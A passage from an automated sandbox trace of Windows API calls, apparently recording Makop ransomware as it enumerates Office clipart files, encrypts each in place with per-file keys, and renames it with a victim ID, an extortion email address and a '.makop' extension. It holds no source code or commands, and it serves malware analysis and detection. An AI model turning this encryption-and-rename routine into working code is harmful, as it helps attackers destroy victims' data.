pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.214] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.214] GetProcessHeap () returned 0x48a0000 [0150.214] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.214] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.214] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.214] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.214] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.215] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.215] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.215] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.215] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.216] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaa4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaa4, lpOverlapped=0x0) returned 1 [0150.216] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xab0, dwBufLen=0xab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xab0) returned 1 [0150.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.216] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xab0, lpOverlapped=0x0) returned 1 [0150.216] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.216] SetEndOfFile (hFile=0xf0) returned 1 [0150.223] GetProcessHeap () returned 0x48a0000 [0150.223] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.223] GetProcessHeap () returned 0x48a0000 [0150.223] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.223] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.227] CloseHandle (hObject=0xf0) returned 1 [0150.228] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765bc800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x765bc800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1 [0150.228] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF") returned 63 [0150.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.229] GetProcessHeap () returned 0x48a0000 [0150.229] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.229] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.229] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0150.274] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.274] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.274] GetProcessHeap () returned 0x48a0000 [0150.274] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.275] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.275] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.275] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.275] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.275] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.275] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.275] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.275] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.276] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.276] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.276] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.276] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1724, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1724, lpOverlapped=0x0) returned 1 [0150.277] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1730, dwBufLen=0x1730 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1730) returned 1 [0150.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1730, lpOverlapped=0x0) returned 1 [0150.277] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.278] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.278] SetEndOfFile (hFile=0xf0) returned 1 [0150.284] GetProcessHeap () returned 0x48a0000 [0150.284] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.284] GetProcessHeap () returned 0x48a0000 [0150.285] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.285] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.287] CloseHandle (hObject=0xf0) returned 1 [0150.287] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1 [0150.287] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF") returned 63 [0150.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.562] GetProcessHeap () returned 0x48a0000 [0150.562] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.562] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.562] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.562] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0150.571] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.571] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.571] GetProcessHeap () returned 0x48a0000 [0150.571] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.571] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.571] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.571] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.571] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.572] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.572] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.572] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.572] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.572] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.572] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.572] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.573] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2602, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2602, lpOverlapped=0x0) returned 1 [0150.578] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2610, dwBufLen=0x2610 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2610) returned 1 [0150.578] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.578] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2610, lpOverlapped=0x0) returned 1 [0150.578] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.578] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.578] SetEndOfFile (hFile=0xf0) returned 1 [0150.586] GetProcessHeap () returned 0x48a0000 [0150.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.586] GetProcessHeap () returned 0x48a0000 [0150.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.586] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.589] CloseHandle (hObject=0xf0) returned 1 [0150.589] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23879c00, ftCreationTime.dwHighDateTime=0x1c01c5d, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23879c00, ftLastWriteTime.dwHighDateTime=0x1c01c5d, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1 [0150.590] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF") returned 63 [0150.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.591] GetProcessHeap () returned 0x48a0000 [0150.591] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.591] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.591] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.591] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.591] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.591] GetProcessHeap () returned 0x48a0000 [0150.592] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.592] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.592] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.598] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.598] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.598] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.598] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.598] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.598] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.598] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.598] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.599] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6260, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6260, lpOverlapped=0x0) returned 1 [0150.602] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6260, dwBufLen=0x6260 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6260) returned 1 [0150.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.602] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6260, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6260, lpOverlapped=0x0) returned 1 [0150.602] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.602] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.602] SetEndOfFile (hFile=0xf0) returned 1 [0150.610] GetProcessHeap () returned 0x48a0000 [0150.610] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.610] GetProcessHeap () returned 0x48a0000 [0150.610] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.610] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.612] CloseHandle (hObject=0xf0) returned 1 [0150.612] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13335b00, ftCreationTime.dwHighDateTime=0x1bd4b0e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13335b00, ftLastWriteTime.dwHighDateTime=0x1bd4b0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1 [0150.612] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF") returned 63 [0150.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.613] GetProcessHeap () returned 0x48a0000 [0150.613] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.613] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.614] SetFilePointerEx (in: hFile=0xf0, 